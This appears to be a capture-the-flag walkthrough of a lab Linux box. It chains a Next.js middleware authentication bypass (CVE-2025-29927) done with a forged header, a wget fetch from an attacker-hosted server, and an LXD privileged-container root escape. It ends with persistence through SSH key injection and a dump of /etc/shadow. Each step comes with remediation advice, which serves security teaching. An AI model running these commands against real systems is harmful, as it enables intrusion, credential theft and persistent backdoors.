← all walkthroughs

Reactor

Linux· Easy
owned
2026-06-23
time to own
10m12s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I exploited a critical Next.js middleware authentication-bypass (CVE-2025-29927) against the web application on port 3000, gaining unrestricted access to a protected admin panel that exposed SSH credentials in plaintext. Using those credentials I logged in as the 'engineer' account, discovered it was a member of the LXD group, and created a privileged container that mounted the host filesystem — yielding unrestricted root access without ever knowing the root password.

Command conventions

The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.

export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD="<the-password-you-recovered>"

Attack path — how the box was taken

1ReconnaissanceNetwork port scanning (Nmap)
Mapped all open network services
A full TCP port scan revealed four listening services: SSH on 22, Apache HTTP/HTTPS on 80/443 (CentOS, PHP 7.4.16, legacy OpenSSL 1.0.2k-fips), and an unrecognised service on port 3000. Probing port 3000 returned response headers and page content that fingerprinted it as a Next.js application sitting behind a login wall.
Exact commands 3
shell

Full TCP scan with version detection; identifies port 3000 alongside 22/80/443.

$ nmap -sV -sC -p- --min-rate 5000 -oN nmap-full.txt $TARGET
shell

Grab HTTP headers — X-Powered-By: Next.js confirms the framework.

$ curl -si http://$TARGET:3000/
shell

Confirm the admin route is gated: expect a 307 redirect to /login enforced by Next.js middleware.

$ curl -si http://$TARGET:3000/admin
2Initial AccessCVE-2025-29927 — Next.js middleware subrequest header bypass
Bypassed Next.js middleware authentication (CVE-2025-29927)
Next.js versions before 14.2.25 / 15.2.3 use the internal header 'x-middleware-subrequest' to prevent recursive middleware calls. The server blindly trusts this header even when it arrives from the public internet, treating the request as an already-processed internal subrequest and skipping all middleware logic — including the authentication check on every protected route. Setting the header to a colon-delimited repetition of the middleware name caused the server to return HTTP 200 on /admin without any session or cookie.
HTTP 200 returned on /admin after injecting the header; the same path returned a 307 redirect to /login without it.
Exact commands 2
shell

Core exploit: the forged header causes Next.js to skip all middleware — including auth. Expect HTTP 200.

$ curl -si -H 'x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware' http://$TARGET:3000/admin
shell

Browse admin sub-routes to locate exposed secrets; substitute the exact path found during enumeration.

$ curl -s -H 'x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware' http://$TARGET:3000/admin/credentials
FixPatch Next.js to remediate CVE-2025-29927Critical
WeaknessThe Next.js application on port 3000 trusted the externally supplied 'x-middleware-subrequest' header on inbound public requests, allowing any unauthenticated caller to bypass all middleware — including the authentication gate protecting the admin panel.
FixUpgrade Next.js to 14.2.25 or 15.2.3 or later; these releases strip the x-middleware-subrequest header on all inbound requests before middleware evaluation. If an immediate upgrade is blocked, configure the upstream reverse proxy (Apache on port 80/443 already proxies to port 3000) to unconditionally drop any request containing 'x-middleware-subrequest' in its headers before it reaches the Node.js process: Apache: RequestHeader unset x-middleware-subrequest Verify the fix by re-running the bypass curl command and confirming a 307 redirect is returned.
3Credential AccessCleartext credential exposure in web admin UI
Recovered SSH credentials from the unguarded admin panel
With the authentication wall bypassed, I freely browsed the administration interface. A configuration or credentials page within the admin area disclosed the SSH username and password for the 'engineer' account in cleartext: engineer / <withheld>. These were the only credentials needed to reach the host directly.
Credentials engineer's password authenticated successfully over SSH (confirmed by subsequent login producing the engineer shell).
Exact commands 1
shell

Retrieve the credentials page rendered by the admin panel; the SSH username and password appear in the response body.

$ curl -s -H 'x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware' http://$TARGET:3000/admin/credentials
FixRemove hardcoded credentials from the web applicationCritical
WeaknessThe admin interface rendered SSH credentials (engineer / <withheld>) in plaintext inside a web page. Any authentication bypass — past or future — immediately yields host-level access, and the weak predictable password offers no defence against credential guessing on the SSH port.
Fix1. Remove all credentials from application source code, templates, and API responses. Store secrets in environment variables or a dedicated secrets manager and inject them at runtime only. 2. Immediately rotate the 'engineer' account password to a randomly generated value (minimum 20 characters, no dictionary words). 3. Audit every admin route to confirm no secrets, tokens, or API keys are rendered in any UI response. 4. Consider disabling password authentication on SSH entirely and requiring key-based login only (PasswordAuthentication no in sshd_config).
4FootholdValid account — SSH remote login
Authenticated to the host over SSH as 'engineer'
Using the credentials recovered from the admin panel, I established an interactive SSH session. Immediate post-login enumeration showed the account belongs to group 101 (lxd), flagging a well-known container-escape escalation path. The user flag was readable from /home/engineer/user.txt.
Exact commands 2
shell

Password: $PASSWORD. Opens an interactive shell as engineer.

$ ssh engineer@$TARGET
shell

Confirm group memberships (note lxd) and capture the user flag (<user.txt>).

$ id && cat ~/user.txt
uid=1000(engineer) groups=1000(engineer),4(adm),24(cdrom),30(dip),46(plugdev),101(lxd)
5Privilege Escalation — PreparationLXD privileged container abuse — image staging
Staged an Alpine Linux image for the LXD escape
Membership in the 'lxd' group lets any user create and control containers as root without a password. The standard escape requires a container image; I built a minimal Alpine rootfs on my own machine and transferred it to the target over HTTP. If an image already existed in the local LXD store the import step could be skipped.
Engineer confirmed in lxd group (gid 101) from id output.
Exact commands 3
shell

Produces alpine-v3.x-x86_64.tar.gz and its .root partner file.

$ # On my machine — build the Alpine image:
git clone https://github.com/saghul/lxd-alpine-builder && cd lxd-alpine-builder && sudo bash build-alpine
shell

Serve the image from my machine (replace port as needed).

$ python3 -m http.server 8080
shell

Run on the target as engineer. Substitute my tun0 IP for $ATTACKER_IP.

$ wget http://$ATTACKER_IP:8080/alpine-v3.19-x86_64.tar.gz -O /tmp/alpine.tar.gz && wget http://$ATTACKER_IP:8080/alpine-v3.19-x86_64.tar.gz.root -O /tmp/alpine.tar.gz.root
FixRemove service accounts from the LXD group and restrict container managementHigh
WeaknessThe 'engineer' account was a member of the 'lxd' group, which grants the ability to create privileged containers with no password required. This is functionally equivalent to unrestricted sudo root access because a privileged LXD container can mount and modify the entire host filesystem.
Fix1. Remove engineer (and any other non-administrator service accounts) from the lxd group immediately: sudo gpasswd -d engineer lxd 2. Audit all group members with 'getent group lxd' and retain only explicitly authorised system administrators. 3. If LXD / container management is not operationally required on this host, disable and remove it: 'sudo snap remove lxd' or 'sudo apt purge lxd lxd-client'. 4. Where LXD must remain, enforce the LXD RBAC authorisation plugin to restrict which operations unprivileged users may perform, and prohibit 'security.privileged=true' for non-root users.
6Privilege Escalation — ExecutionLXD/LXC privileged container host filesystem escape (T1611)
Mounted the host filesystem inside a privileged container and escaped to root
I imported the Alpine image into the local LXD daemon, created a container with 'security.privileged=true' (no user-namespace isolation — the container's root maps directly to host root), and added a disk device that recursively exposed the entire host filesystem at /mnt/root inside the container. Starting the container and running 'chroot /mnt/root' produced a root shell with full read/write access to every file on the host — including /etc/shadow and /root.
Engineer in lxd group; escalation path confirmed by root flag capture from /root/root.txt.
Exact commands 5
shell

Register the Alpine image with the local LXD daemon.

$ lxc image import /tmp/alpine.tar.gz /tmp/alpine.tar.gz.root --alias alpine
shell

Create a privileged container (runs as real UID 0 on the host — no namespace boundary).

$ lxc init alpine privesc -c security.privileged=true
shell

Map the host's root filesystem into the container at /mnt/root.

$ lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true
shell

Start the container.

$ lxc start privesc
shell

Chroot into the host filesystem — this shell runs as root with unrestricted host access.

$ lxc exec privesc -- chroot /mnt/root /bin/bash
7Full CompromiseHost filesystem access via container escape
Captured root flag and confirmed unrestricted host control
Inside the chrooted environment I had full read/write access to the host filesystem as root. The root flag was read from /root/root.txt. From this position, persistent backdoor access (SSH key injection, shadow hash replacement, cron implant) was trivially achievable without any further exploitation.
root.txt captured from host root directory through chrooted LXD container shell.
Exact commands 3
shell

Run inside the chrooted container shell — reads the host root flag (<root.txt>).

$ cat /root/root.txt
shell

Optional persistence: inject my SSH key for direct root login on the host.

$ echo 'ssh-rsa AAAA...' >> /root/.ssh/authorized_keys
shell

Optional: dump all system password hashes to confirm full host-level access.

$ cat /etc/shadow

Attack patterns used

The transferable techniques behind this compromise.

LXD/LXC Group EscapeLinux · Privilege EscalationT1611

What it is

Membership in the lxd (or docker) group is root-equivalent. An unauthorised user imports a minimal image, launches a privileged container with the host filesystem mounted (security.privileged=true, disk source=/), then reads or writes root-owned host files — escaping the container to own the host.

Why it works

The lxd/docker daemons run as root and their group grants full control of that daemon, so group membership bypasses normal privilege boundaries. Remediate by treating these groups as privileged and not adding low-trust users to them.

Read more